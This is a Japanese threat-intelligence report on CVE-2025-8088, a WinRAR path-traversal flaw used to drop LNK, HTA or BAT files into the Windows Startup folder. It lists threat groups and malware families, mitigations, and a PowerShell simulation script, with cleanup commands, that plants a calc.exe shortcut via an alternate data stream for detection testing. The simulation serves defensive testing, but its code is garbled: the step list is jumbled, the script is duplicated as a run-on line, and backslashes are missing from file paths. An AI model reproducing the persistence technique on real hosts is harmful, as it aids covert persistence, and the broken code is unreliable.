CVE-2025-8088: 多様な脅威アクターが重大なWinRARの脆弱性を悪用

概要

Google の脅威インテリジェンス グループは、重大なWinRARのパス トラバーサルの脆弱性であるCVE-2025-8088の広範囲な悪用を報告しています。攻撃者はこれを利用してWindowsのスタートアップ フォルダに不正なファイルを配置し、永続性を得ようとしています。国家支援および経済的動機を持つグループの両方がこのエクスプロイトを利用してRAT、ダウンローダー、および後続のペイロードを配信しています。レポートは、インジケーターと検出および緩和指針を共有しています。

調査

研究者たちは、UNC4895、APT44、Turla、そして中国を拠点とするグループを、Alternate Data Streams (ADS) を悪用してLNK、HTA、またはBATファイルをスタートアップにドロップするRARアーカイブに結び付けました。一部のアーカイブはログオン時にHTAやBATを起動するLNKハンドラを準備していました。観察されたマルウェアファミリーにはNESTPACKER、POISONIVY、XWorm、およびAsyncRATが含まれています。ウクライナや他の地域を狙ったキャンペーン全体で、共有インフラストラクチャと再利用されたエクスプロイト コードが確認されました。

緩和策

WinRARを7.13以上にアップグレードし、アプリケーション許可リストを施行してください。可能な限りADSの露出を減らし、スタートアップフォルダを新しいLNK、HTA、BAT、またはスクリプト ファイルについて監視してください。不正なアーカイブを早期に阻止するためにGoogle Safe Browsingとメールのセキュリティ制御を適用してください。

対策

特にショートカットやスクリプトを含むRAR抽出に紐づくスタートアップ パスファイルの作成を検出してください。既知のファイル名とハッシュと警告を相関させ、影響を受けたホストを隔離し、マルウェアファミリーを確認し、インシデントレスポンス中にスタートアップの持続性を取り除きます。

シミュレーション実行

前提条件: テレメトリ & ベースラインプレフライトチェックはパスしなければなりません。

理由: このセクションでは、検出ルールをトリガーするために設計された敵技術（TTP）の正確な実行について説明しています。コマンドと物語は、識別されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的としています。

• 攻撃の物語とコマンド:
  攻撃者は、不正なWindowsショートカット（malicious.lnk）を無害に見えるPDFに添付されたAlternate Data Streamとして埋め込んだ悪意のあるRARアーカイブを作成します（innocuous.pdf）。CVE-2025-8088を利用して、攻撃者はWinRARがストリーム名を無害化せずにターゲット パスに直接ADSを抽出することを知っています。アーカイブは被害者のマシンに配信され（例：フィッシング経由）、攻撃者は現在のユーザーのスタートアップ フォルダにペイロードを直接抽出するためにWinRARをサイレントモードで実行し、永続性を達成します。

  1. 悪意のあるLNKペイロードを作成します （ cmd.exe /c calc.exe).
  2. を起動するショートカット innocuous.pdf をRAR内の
  3. にAs ADSとして添付します。 被害者にRARを配信します。
  4. スタートアップディレクトリへのWinRAR抽出を実行します。 回帰テスト スクリプト：

• # ————————————————————– # CVE‑2025‑8088 LNK‑ADSの持続性をシミュレーションするPowerShellスクリプト # ————————————————————– # 1. Variables $tempDir = “$envTEMPLNK_ADS_Test” $pdfPath = “$tempDirinnocuous.pdf” $lnkPath = “$tempDirmalicious.lnk” $rarPath = “$tempDirmalicious.rar” $startupPath = “$envAPPDATAMicrosoftWindowsStart MenuProgramsStartup” # Ensure clean workspace Remove-Item -Recurse -Force $tempDir -ErrorAction SilentlyContinue New-Item -ItemType Directory -Path $tempDir | Out-Null # 2. 空のファイルとしてダミーのPDFを作成（ADSデモ用に機能） New-Item -ItemType File -Path $pdfPath | Out-Null # 3. 計算機を指す悪意のあるLNKを作成 $ws = New-Object -ComObject WScript.Shell $shortcut = $ws.CreateShortcut($lnkPath) $shortcut.TargetPath = “calc.exe” $shortcut.WindowStyle = 1 $shortcut.Save() # 4. WinRAR CLIを使用してPDFをパックしてLNKをADSとして添付 # “malicious.lnk”というADSがPDFに添付される構文を作成します。 & “C:Program FilesWinRARWinRAR.exe” a -df $rarPath $pdfPath “$lnkPath:malicious.lnk” # 5. スタートアップフォルダにRARを直接抽出（サイレント モード） & “C:Program FilesWinRARWinRAR.exe” x -inul $rarPath $startupPath # 6. LNKが現在スタートアップに存在することを確認します（通常の.lnkとして表示されます） $extractedLnk = Join-Path $startupPath “malicious.lnk” if (Test-Path $extractedLnk) { Write-Host “[+] スタートアップに悪意の指示を配置しました: $extractedLnk” } else { Write-Error “[-] ショートカットが見つかりまisせん – 抽出に失敗した可能性があります。” } # ————————————————————– # スクリプト終了 # ————————————————————–

  # --------------------------------------------------------------
  # PowerShell script to simulate CVE‑2025‑8088 LNK‑ADS persistence
  # --------------------------------------------------------------
  
  # 1. Variables
  $tempDir      = "$envTEMPLNK_ADS_Test"
  $pdfPath      = "$tempDirinnocuous.pdf"
  $lnkPath      = "$tempDirmalicious.lnk"
  $rarPath      = "$tempDirmalicious.rar"
  $startupPath  = "$envAPPDATAMicrosoftWindowsStart MenuProgramsStartup"
  
  # Ensure clean workspace
  Remove-Item -Recurse -Force $tempDir -ErrorAction SilentlyContinue
  New-Item -ItemType Directory -Path $tempDir | Out-Null
  
  # 2. Create a dummy PDF (empty file works for ADS demonstration)
  New-Item -ItemType File -Path $pdfPath | Out-Null
  
  # 3. Create malicious LNK pointing to calculator
  $ws = New-Object -ComObject WScript.Shell
  $shortcut = $ws.CreateShortcut($lnkPath)
  $shortcut.TargetPath = "calc.exe"
  $shortcut.WindowStyle = 1
  $shortcut.Save()
  
  # 4. Pack PDF and attach LNK as ADS using WinRAR CLI
  #    The syntax creates an ADS named "malicious.lnk" attached to the PDF.
  & "C:Program FilesWinRARWinRAR.exe" a -df $rarPath $pdfPath "$lnkPath:malicious.lnk"
  
  # 5. Extract RAR directly to the Startup folder (silent mode)
  & "C:Program FilesWinRARWinRAR.exe" x -inul $rarPath $startupPath
  
  # 6. Verify that the LNK now exists in Startup (will be visible as a regular .lnk)
  $extractedLnk = Join-Path $startupPath "malicious.lnk"
  if (Test-Path $extractedLnk) {
      Write-Host "[+] Malicious shortcut deployed to Startup: $extractedLnk"
  } else {
      Write-Error "[-] Shortcut not found – extraction may have failed."
  }
  
  # --------------------------------------------------------------
  # End of script
  # --------------------------------------------------------------

• クリーンアップ コマンド:

  # スタートアップから悪意のあるショートカットを削除
  $lnk = "$envAPPDATAMicrosoftWindowsStart MenuProgramsStartupmalicious.lnk"
  if (Test-Path $lnk) { Remove-Item -Force $lnk }
  
  # 一時ファイルとディレクトリを削除
  $temp = "$envTEMPLNK_ADS_Test"
  if (Test-Path $temp) { Remove-Item -Recurse -Force $temp }

報告終了